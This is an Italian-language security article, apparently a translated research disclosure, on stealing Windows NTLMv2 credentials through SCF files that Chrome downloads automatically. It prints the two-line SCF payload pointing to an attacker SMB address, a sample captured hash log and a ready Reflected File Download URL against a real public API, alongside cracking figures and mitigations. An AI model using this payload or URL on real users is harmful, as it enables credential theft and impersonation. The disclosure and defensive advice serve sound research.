Gli attacchi che rubano le credenziali di autenticazione usando il protocollo di condivisione SMB su Windows sono un problema presente da sempre, di solito limitato alle reti locali.
Una delle rare ricerche su attacchi Internet è stata recentemente presentata da Jonathan Brossard e Hormazd Billimoria alla Black Hat security conference nel 2015 [1] [2]. Tuttavia, non sono stati pubblicati attacchi alle credenziali tramite SMB nell’ultima decade, se non per Internet Explorer ed Edge.
Questo articolo descrive un attacco che può portare a furti di credenziali Windows attraverso Google Chrome, incluse tutte le versioni di Windows che lo supportano.
[miptheme_quote author=”” style=”text-center”]Shell] Command=2 IconFile=explorer.exe,3 [Taskbar] Command=ToggleDesktop[/miptheme_quote]
Il problema
Con la sua configurazione predefinita, Chrome Browser scarica automaticamente i file che ritiene sicuri senza richiedere all’utente un percorso di download, ma utilizzando invece quello predefinito. Da un punto di vista di sicurezza questa funzionalità non è un comportamento ideale, in quanto un utente dovrebbe essere consapevole di quello che scarica, scegliendo se procede oppure no. Tuttavia qualsiasi contenuto dannoso, per poter fare danni, necessita che un utente apra ed esegua il file manualmente. Ma cosa succede se il file scaricato non richiedesse interazioni utente per eseguire azioni dannose? Ci sono tipi di file che possono farlo?
Windows Explorer Shell Command file o SCF (.scf) è un tipo di file poco conosciuto che risale a Windows 98. La maggior parte degli utenti di Windows si è imbattuta in questo file su Windows 98/ME/NT/2000/XP dove viene utilizzato, principalmente, come un collegamento-scorciatoia sul desktop. È essenzialmente un file di testo con delle sezioni che determinano un comando da eseguire (limitato all’esecuzione di Explorer e al passaggio sul Desktop) e alla posizione di un file di icone. Come esempio, questo potrebbe essere il contenuto file SCF di Show Desktop:
Come nei file LNK di scorciatoia di Windows, la posizione dell’icona viene risolta automaticamente quando il file viene visualizzato in “Esplora Risorse”. L’impostazione di una posizione dell’icona in un server remoto SMB è un vettore di attacco noto che abusa della funzionalità di autenticazione automatica di Windows quando accede a servizi, come le condivisioni di file remoti. Ma qual è la differenza tra LNK e SCF dal punto di vista dell’attacco? Chrome permette i file LNK forzando un’estensione .download, ma non fa lo con i file SCF.
Il file SCF che può essere utilizzato per ingannare Windows in un tentativo di autenticazione a un server remoto SMB contiene solo due righe, come illustrato nell’esempio seguente:
[miptheme_quote author=”” style=”text-center”][Shell] IconFile=\\170.170.170.170\icon [/miptheme_quote]
Una volta scaricata, la richiesta viene attivata nel momento in cui la cartella di download viene aperta in Windows File Explorer per visualizzare il file, eliminarlo o lavorare con altri file (cosa abbastanza inevitabile). Non è necessario fare clic su file o aprirlo, Windows File Explorer prova automaticamente a recupero “l’icona”.
Il server remoto SMB impostato dall’attaccante è pronto a catturare il nome utente della vittima e il NTLMv2 password hash per il cracking online o inviare la connessione a un servizio esterno che accetta lo stesso tipo di autenticazione (ad esempio Microsoft Exchange) per simulare di essere la vittima senza mai conoscerne, in realtà, la password. Le informazioni acquisite potrebbero apparire come le seguenti:
[miptheme_quote author=”” style=”text-center”][*] SMB Captured – 2017-05-15 13:10:44 +0200 NTLMv2 Response Captured from 173.203.29.182:62521 – 173.203.29.182 USER:Bosko DOMAIN:Master OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:98daf39c3a253bbe4a289e7a746d4b24 NT_CLIENT_CHALLENGE:01010000000000000e5f83e06fcdd201ccf26d91cd9e326e000000000200000000000 00000000000 Bosko::Master:1122334455667788:98daf39c3a253bbe4a289e7a746d4b24:01010000000000000e5f83e06fcdd201 ccf26d91cd9e326e00000000020000000000000000000000 [/miptheme_quote]
L’esempio precedente mostra una divulgazione del username utente, de dominio e de NTLMv2 password hash della vittima.
Vale la pena ricordare che i file SCF appariranno senza estensione in Windows Explorer, indipendentemente dalle impostazioni di file e cartelle. Di conseguenza, il file chiamato “picture.jpg.scf” apparirà in Esplora risorse come “picture.jpg”. Ciò mostra la natura oscura degli attacchi che utilizzano file SCF.
Impatto
Dichiarazione di password
Per gli utenti dei domini di Active Directory (corporate, governativi e altre reti), la divulgazione di password può avere diversi impatti che vanno dalla violazione della rete interna all’accesso a servizi esterni a disposizione di NTLM e alle violazioni in base al riutilizzo della password.
Per gli utenti Windows 8/10 che utilizzano un account Microsoft (MSA) anziché un account locale, la divulgazione delle password impatta su tutti i servizi Microsoft integrati con l’SSO di MSA come OneDrive, Outlook.com, Office 365, Office Online, Skype, Xbox Live e altri. Il problema comune della divulgazione delle password può portare a ulteriori violazioni di account non correlati a MSA, visto il fenomeno comune di utilizzare la stessa password per diversi servizi.
La fattibilità del cracking delle password è stata notevolmente migliorata negli ultimi anni con il cracking basato su GPU. Il benchmark NetNTLMv2 hashcat per una singola scheda Nvidia GTX 1080 è di circa 1600 MH/s, cioè 1,6 miliardi di hash al secondo. Per una password di 8 caratteri, quattro di queste GPU possono provare tutte le combinazioni di password, contenti caratteri speciali + alfanumerici, in meno di un giorno. Con le centinaia di milioni di password rubate in seguito alle numerose violazioni degli ultimi anni, la creazione di attacchi a dizionario può produrre risultati sorprendenti contro le password più complesse.
La situazione è ancora peggiore per i sistemi e le reti Windows XP in cui la compatibilità con NTLMv1 è stata abilitata esplicitamente. In questi casi, è possibile eseguire un attacco di downgrade che costringa il client ad autenticarsi con un hash/protocollo più debole (ad esempio NTLMv1 o addirittura LM) anziché NTLMv2. Ciò consente all’aggressore di catturare un hash che può essere crollato molte volte e più velocemente di un NTLMv2. Nel caso di LM questo avviene in pochi secondi utilizzando tabelle precompilate per invertire le funzioni di hash crittografiche (“tavole Rainbow”).
Attacchi SMB Relay
Le organizzazioni che consentono l’accesso remoto ai servizi come Microsoft Exchange (Outlook Anywhere) e consentono l’utilizzo di metodi di autenticazione NTLM possono essere vulnerabili agli attacchi di rete SMB, consentendo all’attaccante di impersonare la vittima, di accedere ai dati e ai sistemi senza dover crackare la password. Questo è stato dimostrato con successo da Jonathan Brossard alla Black Hat secutiry conference.
A determinate condizioni (in caso di esposizione esterna) un aggressore può anche essere in grado di trasmettere le credenziali a un controller di dominio sulla rete della vittima e di ottenere essenzialmente un accesso interno alla rete.
Gestione antivirus di SCF
Naturalmente, quando un browser non riesce ad avvisare o a ripulire i download da tipi i file potenzialmente pericolosi, si basa su delle soluzioni di sicurezza per farlo funzionare. Abbiamo testato diverse soluzioni antivirus di diversi fornitori per determinare se una soluzione contrassegnerebbe il file scaricato come pericoloso.
Tutte le soluzioni sperimentate non sono riuscite a contrassegnare i file come sospetti, che speriamo cambieremo presto. L’analisi dei file SCF sarebbe facile da implementare in quanto richiede solo l’ispezione del parametro “IconFile”, considerando che non esistono utilità legittime di SCF con le posizioni di icone remote.
Introducendo nuovi vettori di attacco
Sebbene l’uso dell’ingegneria sociale per attirare la vittima a visitare il sito web dell’attaccante, nonché la vulnerabilità di reindirizzamento e scripting su siti web attendibili, sono i metodi più comuni per fornire file dannosi, per questo attacco vorrei aggiungere un problema spesso trascurato e minore.
Download di file riflesso
Descritta per la prima volta da Oren Hafif, la vulnerabilità del Reflected File Download si verifica quando l’input di un utente specifico viene riflesso nella risposta del sito e scaricato dal browser dell’utente quando le condizioni sono soddisfatte. È stato inizialmente utilizzato come vettore di attacco per ingannare l’utente ad eseguire il codice malevolo (di solito da un file batch di Windows), in base alla fiducia dell’utente nel dominio vulnerabile.
Poiché il formato SCF è piuttosto semplice e il nostro attacco richiede solo due righe che possono essere precedute e seguite da (quasi) qualsiasi cosa, crea condizioni perfette per essere utilizzate con RFD.
La RFD è di solito rivolta agli endpoint RESTful API in quanto spesso utilizzano URL mapping permissivi, che consentono di impostare l’estensione del file nel percorso URL. Chrome non scarica tutti i tipi di contenuti tipici di risposta API così che questi devono forzati attraverso un attributo di download ( <a href = …. ) nei tag di collegamento. Tuttavia, ci sono eccezioni. Chrome utilizza il MIME/sniffing con il testo/contenuto e se la risposta contiene un carattere non stampabile verrà scaricato direttamente e automaticamente come file, a meno che la direttiva “nosniff” sia impostata.
Ciò può essere dimostrato sull’API della Banca Mondiale utilizzando il seguente URL:
http://api.worldbank.org/v2/country/indicator/iwantyourhash.scf?prefix=%0A[Shell]%0AIconFile=\\170.170.170.170\test%0Alol=%0B&format=jsonp
A causa del carattere non stampabile “ %0B “ Chrome scarica la risposta come file iwantyourhash.scf. Nel momento in cui viene aperta la directory di download che contiene il file, Windows cercherà di autenticare il file al server remoto SMB, divulgando gli hash di autenticazione della vittima.
Raccomandazioni
Per disattivare i download automatici in Google Chrome, dovresti apportare le seguenti modifiche:
Impostazioni à Impostazioni avanzate à Controlla la richiesta dove salvare ciascun file prima di scaricare l’opzione.
L’approvazione manuale di ogni tentativo di download riduce significativamente il rischio di attacchi di furto di credenziali NTLMv2 utilizzando i file SCF.
Poiché i file SCF costituiscono ancora una minaccia, le misure da adottare dipendono dall’ambiente di rete degli utenti interessati e vanno dal semplice rafforzamento del livello dell’host, compresa la configurazione delle regole del firewall, all’applicazione di misure di protezione aggiuntive quali la firma dei pacchetti SMB e la protezione estesa. Con i primi due l’obiettivo è quello di impedire al traffico SMB di lasciare l’ambiente aziendale bloccando le porte che possono essere utilizzate per avviare una connessione su Internet con un server SMB potenzialmente dannoso. Quando possibile, il traffico SMB dovrebbe essere sempre limitato a reti private.
Conclusione
Attualmente, l’attaccante deve solo invogliare la vittima (utilizzando Google Chrome e Windows completamente aggiornati) a visitare il suo sito web per poter procedere e riutilizzare le credenziali di autenticazione della vittima. Anche se la vittima non è un utente privilegiato (ad esempio un amministratore), tale vulnerabilità potrebbe rappresentare una minaccia significativa per le grandi organizzazioni in quanto consente all’attaccante di fingersi membri dell’organizzazione, impersonandoli. Tale aggressore potrebbe riutilizzare immediatamente i privilegi acquisiti per accrescere ulteriormente l’accesso ed eseguire attacchi su altri utenti oppure ottenere accesso e controllo delle risorse IT.
La speranza è che Google Chrome venga aggiornato al più presto per risolvere questo problema